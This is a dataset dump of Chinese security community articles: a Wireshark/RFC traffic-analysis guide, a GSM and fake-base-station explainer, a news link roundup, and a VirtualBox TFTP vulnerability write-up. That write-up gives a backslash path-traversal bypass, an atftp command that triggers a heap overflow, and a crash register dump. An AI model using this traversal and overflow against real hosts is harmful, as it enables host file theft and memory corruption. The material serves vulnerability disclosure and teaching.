text
stringlengths 100
9.93M
| category
stringclasses 11
values |
|---|---|
之前也写过一篇文章，<https://xianzhi.aliyun.com/forum/read/793.html>
里面涉及到了web安全验收参考文档，其实细心利用github就会发现老外也做过一些整理。
详情参考：<https://github.com/FallibleInc/security-guide-for-developers/blob/master/security-checklist.md>
E文水平有些渣，适当解释一下（别打脸）
文章包含：登陆认证、用户数据授权、android/IOS app要怎么做、头部检查、输入的时候要怎么防御等等(好吧其实我不会了) | 社区文章 |
# 网络防御之恶意流量分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 常见协议的RFC文档正常值
* 为什么要查询RFC文档呢？
它可以将正常的行为流量与异常的攻击流量区分开来。能看出来正常的值就等于能观察到异常的攻击流量。
一个强有力的意识就是：遇到可疑，就来RFC查询它们的合法解释，如果未找到合法的行为解释，显而易见，它属于非法。遇事不决，RFC文档。
### ARP
**wireshark样本**
* 实战练习可以在官网把样本下载下来自己观察
<https://gitlab.com/wireshark/wireshark/-/wikis/home> 【官方样本】
<https://wiki.wireshark.org/SampleCaptures#ARP.2FRARP> 【官方样本】
<https://gitlab.com/wireshark/wireshark/-/wikis/uploads/__moin_import__/attachments/SampleCaptures/nb6-startup.pcap>
【本例中使用此样本】
这个协议本身没几个字段，相对简单容易理解。就不放RFC文档了，感兴趣的可以自己阅读一下wiki
<https://en.wikipedia.org/wiki/Address_Resolution_Protocol>
* 需要注意的是，将解析物理地址调整出来，便于观察mac地址来核查可疑的痕迹
* 比如发现bogon很可疑，则可以将该目标过滤出来。注意：大部分情况下，不需要使用语法。直接选中。bogon旨在表示假的，伪造的。
<https://en.wikipedia.org/wiki/Bogon_filtering>
* 使用选中功能生成语法，在此基础上再使用一些布尔运算符之类的拼拼凑凑即可。
* 如果发现同一个MAC值，对应多个IP身份，则很可疑
* 这里是请求与响应的操作码，广播包。注意请求包的目标地址是广播。如果不是广播则不正常。
### ICMP
* <https://datatracker.ietf.org/doc/html/rfc792> RFC-792
<https://gitlab.com/wireshark/wireshark/-/wikis/uploads/__moin_import__/attachments/SampleCaptures/nb6-startup.pcap>
【本例中使用此样本】
ICMP是用于分析网络上的各种节点诊断信息的。 常体现于ping和traceroute之类的实用程序。
* type值8是请求包，type值0是应答包
* 如果您发现其他值，请看RFC文档对应字段的解释 比如type=3为目标不可达，type=11 为超时，type=12 参数存在问题等。code是具体type对应的不同原因值。
* Timestamp有时被用于确认事情发生的时间点
* 我们发现在type 8和0的包格式中，data字段没有限制多少bit
* 并且还发现data字段，identifier字段，sequence字段，code 0在请求包中是什么值，响应包就返回相同值。
* 观察正常的包也确实和RFC文档中描述的一模一样
### TCP
RFC-793
* <https://datatracker.ietf.org/doc/html/rfc793>
样本
* <https://gitlab.com/wireshark/wireshark/-/wikis/uploads/__moin_import__/attachments/SampleCaptures/nb6-startup.pcap>
* 编辑>首选项>协议> TCP>去掉相对序列号的钩来查看原始序列号。
* 如果未出现raw原始序列号，则把钩选上再看。对于TCP主要观察序列号和确认号
* 如果对头格式中的其他字段感兴趣，则可以进入到RFC文档。点击头格式查看解释
Data Offset: 表示数据从哪里开始
URG：紧急指针字段意义重大
ACK：确认字段有效
PSH：推送功能
RST：重置连接
SYN：同步序列号
FIN：没有来自发件人的更多数据
* TCP需要注意的点是 端口，flags，以及三次握手的顺序（如果莫名其妙先出现SYN,ACK，则一定有问题，比如有人在绕waf）
* nmap的各种类型的扫描留给大家自己观察，这里就不赘述了。
### DNS
RFC-1035
<https://www.ietf.org/rfc/rfc1035.txt>
【本例使用此样本】
<https://gitlab.com/wireshark/wireshark/-/wikis/uploads/__moin_import__/attachments/SampleCaptures/dns-icmp.pcapng.gz>
* DNS原理 查询的记录会在本地缓存中添加
* DNS服务器原理
根据其功能，名称服务器可以是专用计算机上的独立程序，也可以是大型分时主机上的一个或多个进程。 一个简单的配置可能是：
在这里，主NameServer通过从其本地文件系统中读取主文件来获取有关一个或多个区域的信息，并回答有关来自外部解析器的那些区域的查询。
* DNS区域传输
DNS要求多个区域服务器冗余地支持所有区域。 指定的辅助服务器可以使用DNS的区域传输协议来获取区域并从主服务器检查更新。 该配置如下所示：
在这种配置中，名称服务器会定期开始维护活动获取外部NameServer区域的副本或检查现有副本是否已更改。
maintenance responses 维护与响应
支持域名系统各个方面的主机中的信息流如下所示：
refreshes 刷新 references 参考
共享数据库保存本地名称服务器和解析器的域空间数据。
共享数据库的内容通常是由NameServer的定期刷新操作维护的权威数据和来自先前解析程序请求的缓存数据的混合。
域数据的结构以及NameServer和解析程序之间同步的必要性暗示了此数据库的一般特征，但实际格式取决于本地实现者。
* 递归服务器集中式缓存—提高解析命中率
还可以定制信息流，以便一组主机一起行动以优化活动。 有时这样做是为了卸载能力较弱的主机，这样它们就不必实现完整的解析器。
这对于希望最大程度地减少所需新网络代码量的PC或主机而言是合适的。
在集中式缓存具有较高命中率的前提下，该方案还可以允许一组主机共享少量缓存，而不必维护大量单独的缓存。
无论哪种情况，解析器都将由存根解析器代替，存根解析器充当位于一个或多个已知执行该服务的名称服务器中的递归服务器中的解析器的前端：
stub resolver 根解析器旨在比喻递归查询后面的下一个服务器，不是真正的根服务器
recursive server 递归服务器
**type类型**
* CNAME 名称服务器可以配置它已进行重新启动查询（解析重定向）
* NULL记录不会导致任何其他节处理。 主文件中不允许使用NULL RR。 在DNS的某些实验性扩展中，NULL用作占位符。 资源记录(ResourceRecord,RR)
* **domain-name** 是表示为一系列标签的域名，并以长度为零的签名终止。
* PTR 资源记录
PTR记录不会导致任何其他节处理。 这些RR用于特殊域中，以指向域空间中的其他位置。
这些记录是简单的数据，并不意味着与CNAME识别别名的任何特殊处理类似。 有关示例，请参见IN-ADDR.ARPA域的描述。in-addr.arpa 用于
ipv4 ，ip6.arpa 用于 IPv6反向解析
time to live 缓存存活的时间
* in-addr.arpa有啥子用？ip地址为什么反向查询？10.2.0.52—>52.0.2.10.IN-ADDR.ARPA why?
它们用于重定向到某个域。目前流行的无间类路由，使用更多的则是cname重定向。不排除APT精心构造的路由
10.IN-ADDR.ARPA —>A请求查PTR中的网关—> 最后PTR请求将IP地址反向查询发给网关进行查询
The program could then originate QTYPE=A, QCLASS=IN queries for MILNET- GW.ISI.EDU. and GW.LCS.MIT.EDU. to discover the Internet addresses of
these gateways.
想要查找与Internet主机地址10.0.0.6相对应的主机名的解析器将执行以下形式的查询：QTYPE = PTR，QCLASS = IN，QNAME =
6.0.0.10.IN-ADDR.ARPA，并将收到：
Internet地址10.2.0.52的数据位于域名52.0.2.10.IN-ADDR.ARPA。反向读取虽然很尴尬，但允许委派区域，而这些区域正是地址空间的一个网络。例如，10.IN-ADDR.ARPA可以是包含ARPANET数据的区域，而26.IN-ADDR.ARPA可以是MILNET的单独区域。
反过来就是不同的子域名，定位不同的网关或者资源。
* TXT 资源记录
TXT RR用于保存描述性文本。 文本的语义取决于找到文本的域。
* 域实现和规范
独立的@表示当前的原点。
其中X是数字（0-9）以外的任何字符，用于引用该字符，以使其特殊含义不适用。 例如， ”\\.” 可用于在标签中放置点字符。
其中每个D是一个数字，是与DDD描述的十进制数字相对应的八位字节。 假定生成的八位位组是文本，并且不检查其特殊含义。
括号用于对跨越线边界的数据进行分组。 实际上，括号内的行不被识别。
分号用于发表评论； 该行的其余部分将被忽略。
* 主文件示例
以下是一个示例文件，该文件可用于定义ISI.EDU区域，并加载了ISI.EDU的来源：
* 实验室：<https://attackdefense.com/challengedetails?cid=1191> DNS log 日志分析免费实验室
如有疑问，请留言。
### HTTP
* 知道如何分析HTTP有助于快速发现SQL注入，Web Shell和其他Web相关的攻击媒介。
* <https://www.ietf.org/rfc/rfc2616.txt>
* <https://gitlab.com/wireshark/wireshark/-/wikis/uploads/27707187aeb30df68e70c8fb9d614981/http.cap> 【本例样本】
* 值得注意的是HTTP请求，它被设计出来的缘由是必须得实用。那么消息也得采用类似多用途的邮件使用的格式来传递。也就是说HTTP传递的消息和邮件都采用：Multipurpose Internet Mail Extensions (MIME)，它就能访问更多的应用系统了。
* URL格式如下 协议和主机名不区分大小写，www.baidu.com 默认为www.baidu.com/
* 除了“保留”与“不安全”的字符集之外（RFC2396），其他字符等价于百分号编码。以下三个URL是等效的
* HTTP中的字符集，字符编码设置与MIME描述的是一样的东西，与MIME共享注册表（IANA Character Set registry）
* 在最初显示文档支持的时候，必须使用发送者的content-type设置的字符集
* 内容编码主要用于允许对文档进行压缩或以其他方式进行有用的转换，而不会丢失其底层媒体类型的身份并且不会丢失信息。 通常，实体以编码形式存储，直接传输，并且仅由接收方解码。 gzip 由文件压缩程序“gzip”（GNU zip）生成的编码格式。
* 识别Transfer-coding（Chunked Transfer Coding）与HTTP请求走私 <https://portswigger.net/web-security/request-smuggling>
* 如果服务器不识别则返回501。0标识分块结束
* 绕waf，负载均衡或者反向代理。
* Multipart Types 多部分类型。如果应用程序无法识别，则当成multipart/mixed。multipart/form-data用于post请求表单。HTTP头非常多，遇到疑惑的地方，可以搜一下RFC文档的解释。
因此，请注意修改数据包文件时，请注意此处。比如，将img修改成pdf或者php文件，可以尝试同步修改MIME的格式
* HTTP Method，返回405代表不允许，如果该方法不识别则返回501。所有通用服务器都必须支持 GET 和 HEAD 方法。如果在fuzz方法或者威胁狩猎时发现很多4xx则需要关注。
* 星号“*”表示请求不适用于特定资源，而是适用于服务器本身，也就是有的方法不是请求资源的，则使用星号来作用于服务器。
* 如果遇到URL编码，则服务器必须解码，来正确识别请求。注意不同服务器解码的差异性与兼容性。
* 虚拟主机的资源定位：如果URL是绝对路径，则忽略host头部分。如果是相对路径，则使用host头的值。如果URL和host无法识别资源，则返回400.
* 状态码与原因短语 Status Code and Reason Phrase
原因短语给人看的。状态码第一位表示响应的分类，后面两位没有任何分类作用。遇到具体的数值，再看RFC解释
1xx：信息 – 收到请求，继续处理
2xx：成功 – 动作被成功接收、理解和接受
3xx：重定向 – 必须采取进一步行动才能完成请求
4xx：客户端错误 – 请求包含错误的语法或无法完成
5xx：服务器错误 – 服务器未能满足明显有效的请求
如果浏览器收到不识别的431，则安全的当成400来处理
* 用于浏览器重定向的字段头 location
* referer头可以使用绝对与相对路径
* wireshark可以使用文件—导出对象—HTTP查看整体的URL请求。统计功能也是一种多维观察的对抗理念。比如，是否存在基于文件名和路径的遍历攻击流量。
## HTTPS
* 与HTTP同理，导入证书解密即可。这里就不赘述了
* 解密HTTPS流量
<https://unit42.paloaltonetworks.com/wireshark-tutorial-decrypting-https-traffic/>
## 总结
本文从协议的角度来观察，针对网络流量的分析，通过查阅RFC文档，我们知道了各种各样的协议有各种各样的攻击向量（每一个协议字段的每一个值）。当发现可疑处时，通过查阅RFC文档或者搜索威胁情报库已获得更多的行为特征来进行研判。同时，阅读漏洞利用的方法也有助于网络流量的分析。
下一篇，我们将学习如何使用wireshark寻找协议攻击中的流量
感谢师傅们很有耐心的看到这里。
我们会再见面的。
共勉。 | 社区文章 |
# 工控安全（十）——移动通信基础
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
如今5g加工业成了热门话题，我们也有必要了解一下移动通信方面的知识，这次就为大家介绍一下GSM，也就是第二代通信技术2g的基础知识。
GSM全称为Global System for Mobile
Communications，也就是我们俗称的2g，虽然看上去有些古老，但一方面，其中的设计思路还值得我们学习；另一方面，GSM现在还存在伪基站这一重要的安全问题。而且根据目前的规划，2g并不会退出，仍然会作为我们日常使用的重要部分，所以我们很有必要了解其基础知识和原理。
网络上对于伪基站的技术文章不少，但是对于原理介绍的还不多，所以这篇文章主要会给大家简单介绍GSM的组成、原理、安全性等问题，由于篇幅所限，尽可能进行缩减，如果文中有不正确的地方，希望各位大佬多多包涵。
## GSM基础设施
所谓的移动通信，其实和我们平常的wifi无线上网有异曲同工之妙，其基本网络结构都是类似的，我们就从wifi来进行知识的迁移。
以我们实验室为例，假设j13教学楼有一台学院交换机接入外部网络，一层楼有一台楼层交换机，楼层交换机分出网线接入实验室的傻瓜交换机，在用傻瓜交换机网线接入家用路由器，实现wifi上网。基本网络结构如下图所示（实线代表有线连接，虚线代表无线连接）
相比大家对于上面的网络都很了解，现在我们就来给他们改改“名字”，实现j13的小型GSM移动通信。
首先终端方面显然就是手机等支持sim卡的设备了，而家用路由器就是我们平常所说的基站，他的全名应该是Base Transceiver
Station，家用路由器我们知道最大的功能就是用来和设备进行无线通信，通俗点说就是上网的，基站的功能也是如此，此外基站还需要具有功率控制、切换基站的功能。
* 基站与终端之间的“接口”也就是我们常说的空中接口，我们常说的CDMA、FDMA都是在这一部分用的，我们将在原理部分具体介绍
* 所谓功率控制也很简单，你手机需要时时刻刻知道自己能不能连上基站、时刻准备被别人呼叫或者呼叫别人，而在打电话过程中也要考虑是否时刻保持高功率消耗，在考虑到手机那聊胜于无的电池容量，功率控制是很有必要的
* 切换基站，我们每个家用路由器的覆盖范围都是有限的，当你实验室太大时（当然我们实验室没有，哈哈哈哈）就需要多个路由器进行覆盖，但我们终端移动过程中就需要在几个路由器中进行选择了，这就是切换基站。
光有基站不行，基站这个单位太小了，就像是实验室的交换机一样，每一个实验室都有，别说全学校的通信了，就是我们J13一栋教学楼几十个实验室的互联，这线就数不清了。咋解决？就要发挥计算机人必须要有的思维了——加中间层，一层不行，我再加一层，在网络通信中我就在傻瓜交换机上在搞一层交换机，比如一层楼一个，这线的数量不就少了吗？而且这个交换机负责管理一层楼，我们可以把一些安全策略、调度策略放在他身上，对应到GSM，这就是BSC基站控制器（Base
Station Controller）。
当我们从426进到428实验室，发现426的基站功率小了，但428的基站功率大了，这时候就要进行基站的切换，BSC就帮我们具体来完成。
当然以楼层为单位直接接入到广袤的互联网中，显然是有问题的，我们还是希望对于外界j13教学楼是一个“整体”，而j13也可以作为一个管理单位，进行内部的记录、管理，并且万一出了什么问题，也可以直接定位到是sdust的j13，所以就有了学院交换机，来汇聚各个楼层。对应到GSM也就是MSC移动交换中心（Mobile
Switching
Center），而刚才的定位功能对于移动通信则更为重要，你要跟人打电话，那我必须要找到目标的位置，所以还有个叫做VLR拜访位置寄存器（Visitor
Location）的设备来记录你到了j13来进行通信。
除此之外我们都知道打电话还得判断你是不是合法，也就是鉴权，除此之外还得知道你是从哪来的（想想手机的归属地查询？），这俩设备分别叫做AC鉴权中心（Authentic
Center）和HLR归属位置寄存器（Home Location
Register），当然这就不需要j13在操心去做了，有一个就行，用到了j13的设备就去查查即可。
如此，我们就可以通过修改我们原有的wifi网络得到我们移动通信拓扑图了，如下所示：
## GSM通信原理
通过上图我们知道，基站与BSC、MSC这些都是线缆连起来的，所以这些部分就和我们网络中的万兆、千兆、百兆一样，更新换代需要大换血，受限制很大（反正我们实验室还没用上千兆）。而基站与手机之间就是无线通信，相当于家用路由器的工作，我们都知道家用路由器更新换代可是快啊，换个路由器就能享受到MIMO、wifi6等体验，同样基站也是这样，所以我们将关注点重点放在基站上，更具体地说，是上面提到过的空中接口。接下来我们还是借助路由器来进行知识的迁移。
实验室的路由器买回来配置好，我们会发现有2.4g、5g俩无线网络（机器支持IEEE802.11ac标准），这里就是指通信所用的频率，我们要想实现无线通信就需要借助电磁波，将信息在某段频率上发射出去。这段频率就叫做带宽（也叫做频谱带宽），我们就用W表示，我们用C表示信息传输速率，我们理想当中就该是带宽越大信息传输速率越大，但是在传输过程中电磁波之间也会产生干扰，比如蓝牙、Zigbee也是在2.4g工作，必然会和wifi有些冲突，反正最后得到的C必然没那么简单，香农大佬已经为我们做好了这方面的研究，也就是著名的香农公式：
**C=W*log₂（1+S/N) （bit/s)**
S/N代表的就是信噪比，可以看到，不管我们的噪声多恐怖（N比S大很多很多），只要我们的W能做到够大，那就必然能够实现C大的，不管是wifi还是GSM，这个公式都是至关重要的。
知道了这些，我们也可以猜测wifi既然传输信息那么快，那它的W肯定不小，但是我们现在GSM只需要打电话发短信，还没到上网的3G年代的，所以不需要多快，就分配个200khz吧（GSM就是200khz）。那么问题来了，这200khz从哪来，随便分啊？
首先给个前提，频率越高的地方能给的带宽就越多。wifi用的是2.4g和5g，5g频率高也就更快，但真正用过的人都知道，5g的虽然快但隔个墙就完蛋了，wifi甚至还出过60g的标准，但是你转个身背对着路由器就完蛋了。这是因为电磁波的频率越高波长越短，穿透能力就越弱。所以我们不能盲目追求频率高，还得考虑到我们GSM应用的复杂环境。
假设我们选好了一个合适的频率（我国的GSM频率在900m左右），上级部门大笔一挥给了我们1M的带宽，我们来算算，一个通信是200k，1m就5个，也就是说我们只能同时容纳5个人通信，这白干了？规划了半天就我们实验室这几十号人用都不行，显然不靠谱。
这时候又要发挥我们计算机人的思维了——复用，翻翻《计算机网络》课本，其实我们把1m分为5个200k就是频分复用FDM（Frequency-division
multiplexing），那我们还可以在时间上进行复用TDM，反正只要我切换的够快，用户就追不上我，GSM将一段时间划分为8个slot，一个slot是0.577ms，这样就也可以实现5*8=40人了，只要基站布置在合适的范围内，基本就可以满足需求了。
实际上wifi同样借助了复用技术，还使用了OFDM、MIMO等技术，以后有机会再细聊。
当然还没有那么简单，我们要实现打电话前，我们还需要一系列的准备工作才能真正确定开始打电话。准备的过程自然也需要通信，所以我们就单独拿出一个slot来做这些准备工作，这个slot有多种信道，我们叫他0号slot，下面简单介绍一下。首先说明，手机给基站通信叫做上行，基站跟手机通信为下行。下面就来介绍一下这些工作：
* 既然我们有FDM，那我们就需要锁定我们需要的通信的频率范围，实际上就是手机在整个频率范围内搜索，直到确定合适的200k为止，即FCCH频率校正信道（Frequency Correction Channel）
* 同理我们有TDM，所以我们需要与基站同步时间，进而保证每个slot都是同步的，即SCH同步信道（Synchronization Channel）
* 同步时间后我们还需要选择一个slot来进行通信，就需要RACH随机接入信道（Random Access Channel），这是上行独有的
* 申请到slot后基站确定了要返回结果，需要AGCH，这自然是下行独有的
* 基站还要告诉手机这地方的规矩，BCCH广播信道（Broadcast Channel）。
* 我们要找到被呼叫的目标，这是PCH寻呼信道（Paging Channel），他和上面那俩伙计也被说成是CCCH公共控制信道（Common Control Channel）
* ICH空闲信道（IDLE Channel），表示
这些就构成了一个用来管理的slot，真正的GSM中有51个，实际上就是上面几种channel的组合。
其余的7个slot就都作为普通通信来用了吗？当然可以，但是我们要注意到，普通的通信可以大致分为信息量小（如短信等）和信息量大（如通话）两类，如果是发个短信，你说你占用一个slot，那也太浪费资源了，所以我们又拿出了一个一号slot来专门处理这些信息量较小的请求。
* SDCCH独立专用控制信道（Stand-Alone Dedicated Control Channel），当我们需要传输信令（信令实际上就是管理消息，比如鉴权等等操作）、短信、LAC location area code位置区码时就走这个信道
那问题又来了，用户打电话的时候还想要发短信咋办？假如说用户在2号slot通话，但是发短信又要去占用一号slot的一个信道，多不合适啊，所以我们在别的slot留了一点点资源，如果用户需要打电话时发短信，就用他的slot留下来的信道即可
* SACCH信道（Slow Association Control Channel），类似上面的SDCCH。
当然，对于0、1以外的slot我们统称为TCH业务信道（Traffic Channel）。
## GSM鉴权及伪基站攻击
首先要说最重要的一点，GSM的鉴权是单向的，也就是手机把自己的信息收拾收拾打包发给基站，然后等待对方，但手机自己是没办法对基站进行检查的，所以就会导致伪基站问题。
* IMSI，sim卡的号码，公开的，就相当于我们身份证号
* Ki，唯一客户鉴权键，sim卡存着，AC也存着，相当于一个密码
* RAND，AC生成的随机数，128位
* A3、A8和A5算法，都是加密算法
* SRES，Ki和RAND通过A3算法生成的，这玩意一次性的
* Kc，Ki和RAND通过A8算法生成的，64bit，存在sim卡中，可多次使用
* TMSI，临时的身份证号
当手机开始要通信时，要先受到“检查”，主要有以下几步：
* 看看是不是“熟人”，手机在SABM帧（SACCH，SDCCH承载）中有个CKSN字段，如果不为0那就是上次的Kc，说明来过，检查和MSC/VLR的Kc是否一致即可，不对或者没有分配过就进入下一步
* 手机发给MSC/VLR自己的IMSI或者是TMSI
* VLR得到Kc和SRES，并和RAND组成三元组保存在MSC中
* MSC告诉手机RAND和CKSN
* 手机计算出SRES，发送给MSC
* MSC检查，如果对了就接入网络
说到这大家可能也都看出来了，伪基站的原理其实并不复杂，我们所要做的就是在前几步随便发送一些信息，最后只要告诉手机检查通过即可，手机在整个过程中没有对基站有过任何“怀疑”。归纳起来就是四步：
* 得到真实的信息，我们通过一台正常设备就可以做到
* 伪基站设备调高功率吸引手机，原理上面我们上面说过了
* 鉴权，实际上就是最后告诉手机通过了验证即可
* 实施欺诈
说到这大家会发现，A3、A8算法都用到了，还差个A5算法没有出现，实际上A5算法是用来加密的
基本算法如上，是一种对称加密，非常好理解。
至于具体的伪基站操作流程，国内漏洞盒子团队有一系列文章；而在伪基站的识别预防等方面阿里安全有优秀文章，大家可以自行搜索查看细节。
## 总结
虽然移动通信对于工业、物联网更多起到的是连接的作用，安全性并不是我们关注的重点，但是我认为还是有必要对于基础的知识和原理以及安全问题有一定的了解，如果以后有机会还有继续对这方面进行研究。 | 社区文章 |
# 【知识】9月20日 - 每日安全知识热点
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**热点概要： Google 呼吁警惕政府支持的黑客攻击、打印机安全详解、CVE-2017-12615 Apache Tomcat Remote Code
Execution via JSP、CVE-2017-3085：在远程沙箱中运行，Adobe Flash Windows用户凭据泄漏漏洞、Active
Directory访问控制列表、浏览器安全白皮书、常见的WiFi攻击及检测方法、The PYPI Python Package Hack、Microsoft
Edge: 内存损坏与部分页面加载漏洞**
********
****国内热词（以下内容部分来自：<http://www.solidot.org/> ）****
********
********
Google 呼吁警惕政府支持的黑客攻击
Equifax 今年三月就遭到过一次入侵
****资讯类：**** ** ******
************
************
CVE-2017-12615 Apache Tomcat Remote Code Execution via JSP
<http://www.openwall.com/lists/oss-security/2017/09/19/1>
****
**技术类：** ****
********
新的Android木马针对60多家银行和社交应用程序
<https://clientsidedetection.com/new_android_trojan_targeting_over_60_banks_and_social_apps.html>
打印机安全详解
<https://0x00sec.org/t/an-introduction-to-printer-exploitation-1/3565/1>
CVE-2017-3085：在远程沙箱中运行，Adobe Flash Windows用户凭据泄漏漏洞
<https://blog.bjornweb.nl/2017/08/flash-remote-sandbox-escape-windows-user-credentials-leak/>
smbmap：用于SMB枚举的工具
<https://github.com/ShawnDEvans/smbmap>
远程系统漏洞分析：WebSploit Toolkit
<https://n0where.net/remote-system-vulnerability-analysis/>
探索从TypeScript到WebAssembly的编译
<https://medium.com/web-on-the-edge/exploring-compilation-from-typescript-to-webassembly-f846d6befc12>
Active Directory访问控制列表 – 攻击和防御
<https://blogs.technet.microsoft.com/enterprisemobility/2017/09/18/active-directory-access-control-list-attacks-and-defense/>
通过在Windows中滥用bad assumption来检测调试器
<http://www.triplefault.io/2017/08/detecting-debuggers-by-abusing-bad.html>
蓝牙漏洞影响所有主要操作系统
<https://hackaday.com/2017/09/14/bluetooth-vulnerability-affects-all-major-os/>
浏览器安全白皮书
<https://browser-security.x41-dsec.de/X41-Browser-Security-White-Paper.pdf>
<https://cure53.de/browser-security-whitepaper.pdf>
如何优化ElasticSearch的ssdeep比较
<http://www.intezer.com/intezer-community-tip-ssdeep-comparisons-with-elasticsearch/>
Epson漏洞: EasyMP投影机接管
<https://rhinosecuritylabs.com/research/epson-easymp-remote-projection-vulnerabilities/>
常见的WiFi攻击及检测方法
<https://wtf.horse/2017/09/19/common-wifi-attacks-explained/>
内核驱动程序mmap处理程序漏洞利用代码开发
<https://labs.mwrinfosecurity.com/publications/kernel-driver-mmap-handler-exploitation/>
<https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-mmap-exploitation-whitepaper-2017-09-18.pdf>
具有采矿功能的恶意软件近期显著增加
<https://securityintelligence.com/network-attacks-containing-cryptocurrency-cpu-mining-tools-grow-sixfold/>
The PYPI Python Package Hack
<http://www.bytelion.com/pypi-python-package-hack/>
传送门：
Package 钓鱼
<http://blog.fatezero.org/2017/06/01/package-fishing/>
被忽视的攻击面：Python package 钓鱼
<https://paper.seebug.org/326/>
Apache Struts CVE-2017-5638漏洞带来的思考
<https://alexgaynor.net/2017/sep/18/surviving-struts-cve/>
Microsoft Edge: 内存损坏与部分页面加载漏洞
<https://bugs.chromium.org/p/project-zero/issues/detail?id=1309>
Microsoft Edge: out-of-bounds read in COptionsCollectionCacheItem::GetAt
<https://bugs.chromium.org/p/project-zero/issues/detail?id=1301>
focused Web Crawler: ACHE
<https://n0where.net/focused-web-crawler-ache/>
I know I haven't patched yet, and there's a zero-day knocking at my door
<https://cybersins.com/zero-day-patch-timely-workaround/>
An Update of PenTesting Tools that (do not) Support IPv6
<https://insinuator.net/2017/09/an-update-of-pentesting-tools-that-do-not-support-ipv6/>
HVACKer – Bridging the Air-Gap by Manipulating the Environment Temperature
<http://www.sicherheitsforschung-magdeburg.de/uploads/journal/MJS_055_Mirsky_AirgapTemperature.pdf> | 社区文章 |
原文地址：<https://www.voidsecurity.in/>
## 0x001 前言
NAT模式下的VirtualBox(默认配置)在IP地址`10.0.2.4`(随意指定)中运行只读TFTP服务器以支持PXE引导。以下利用的两个漏洞无需特权用户的操作触发，也无需安装Guest
Additions，在默认配置下即可触发攻击。
## 0x002 CVE-2019-2553 - 目录遍历漏洞
TFTP服务器的源代码位于`src/VBox/Devices/Network/slirp/tftp.c`，它基于QEMU中所使用的TFTP服务器。
* This code is based on:
*
* tftp.c - a simple, read-only tftp server for qemu
调用`函数tftpSecurityFilenameCheck()`验证guest提供的文件路径，如下所示：
/**
* This function evaluate file name.
* @param pu8Payload
* @param cbPayload
* @param cbFileName
* @return VINF_SUCCESS - * VERR_INVALID_PARAMETER - */
DECLINLINE(int) tftpSecurityFilenameCheck(PNATState pData, PCTFTPSESSION pcTftpSession)
{
size_t cbSessionFilename = 0;
int rc = VINF_SUCCESS;
AssertPtrReturn(pcTftpSession, VERR_INVALID_PARAMETER);
cbSessionFilename = RTStrNLen((const char *)pcTftpSession->pszFilename, TFTP_FILENAME_MAX);
if ( !RTStrNCmp((const char*)pcTftpSession->pszFilename, "../", 3)
|| (pcTftpSession->pszFilename[cbSessionFilename - 1] == '/')
|| RTStrStr((const char *)pcTftpSession->pszFilename, "/../"))
rc = VERR_FILE_NOT_FOUND;
/* only allow exported prefixes */
if ( RT_SUCCESS(rc)
&& !tftp_prefix)
rc = VERR_INTERNAL_ERROR;
LogFlowFuncLeaveRC(rc);
return rc;
}
此代码也是基于QEMU中的验证(`slirp/tftp.c`)
/* do sanity checks on the filename */
if (!strncmp(req_fname, "../", 3) ||
req_fname[strlen(req_fname) - 1] == '/' ||
strstr(req_fname, "/../")) {
tftp_send_error(spt, 2, "Access violation", tp);
return;
}
比较有意思的是，在QEMU中上述检查代码一般指定用作于Linux主机。但是，运行在Windows主机上VirtualBox在也依赖于这个相同的验证。由于反斜杠可以在Windows中用作目录分隔符，因此可以绕过在`tftpSecurityFilenameCheck()`中的检查，以读取在VirtualBox进程特权下可访问的主机文件。TFTP根文件夹的默认路径是`C:\Users\\.VirtualBox\TFTP`，通过合适地构造读取路径可以从主机读取文件。演示视频请访问翻译原文。
## 0x003 CVE-2019-2552 - 由于TFTP OptionBlkSize的错误验证引发堆溢出
在函数`tftpSessionOptionParse()`中设置TFTP选项的值
DECLINLINE(int) tftpSessionOptionParse(PTFTPSESSION pTftpSession, PCTFTPIPHDR pcTftpIpHeader)
{
...
else if (fWithArg)
{
if (!RTStrICmp("blksize", g_TftpDesc[idxOptionArg].pszName))
{
rc = tftpSessionParseAndMarkOption(pszTftpRRQRaw, &pTftpSession->OptionBlkSize);
if (pTftpSession->OptionBlkSize.u64Value > UINT16_MAX)
rc = VERR_INVALID_PARAMETER;
}
...
如果值大于`UINT16_MAX`，则检查`blksize`选项。然后在`tftpReadDataBlock()`中使用值`OptionBlkSize.u64Value`来读取文件内容
DECLINLINE(int) tftpReadDataBlock(PNATState pData,
PTFTPSESSION pcTftpSession,
uint8_t *pu8Data,
int *pcbReadData)
{
RTFILE hSessionFile;
int rc = VINF_SUCCESS;
uint16_t u16BlkSize = 0;
. . .
AssertReturn(pcTftpSession->OptionBlkSize.u64Value < UINT16_MAX, VERR_INVALID_PARAMETER);
. . .
u16BlkSize = (uint16_t)pcTftpSession->OptionBlkSize.u64Value;
. . .
rc = RTFileRead(hSessionFile, pu8Data, u16BlkSize, &cbRead);
. . .
}
由于不满足判断`pcTftpSession-> OptionBlkSize.u64Value <
UINT16_MAX`，在调用`RTFileRead()`期间，通过将blksize的值设置为大于MTU，恶意构造的文件内容可以溢出邻近`pu8Data`的缓冲区。该漏洞可与目录遍历漏洞结合使用以触发带有受控数据的堆溢出，例如，如果启用了共享文件夹，guest虚拟机可以删除主机中具有任意内容的文件，然后使用目录遍历错误读取该文件。
为了便于调试，我们可以使用VirtualBox for
Linux。在主机TFTP根文件夹中创建一个大小为`UINT16_MAX`的文件，即`~/.config/VirtualBox/TFTP`，然后用一个较大的`blksize`值从guest虚拟机中读取该文件。
guest@ubuntu:~$ atftp --trace --verbose --option "blksize 65535" --get -r payload -l payload 10.0.2.4
Thread 30 "NAT" received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0x7fff8ccf4700 (LWP 11024)]
[----------------------------------registers-----------------------------------]
RAX: 0x4141414141414141 ('AAAAAAAA')
RBX: 0x7fff8e5f16dc ('A' ...)
RCX: 0x1
RDX: 0x4141414141414141 ('AAAAAAAA')
RSI: 0x800
RDI: 0x140e730 --> 0x219790326
RBP: 0x7fff8ccf39e0 --> 0x7fff8ccf3a10 --> 0x7fff8ccf3ab0 --> 0x7fff8ccf3bb0 --> 0x7fff8ccf3c90 --> 0x7fff8ccf3cf0 (--> ...)
RSP: 0x7fff8ccf39b0 --> 0x7fff8ccf39e0 --> 0x7fff8ccf3a10 --> 0x7fff8ccf3ab0 --> 0x7fff8ccf3bb0 --> 0x7fff8ccf3c90 (--> ...)
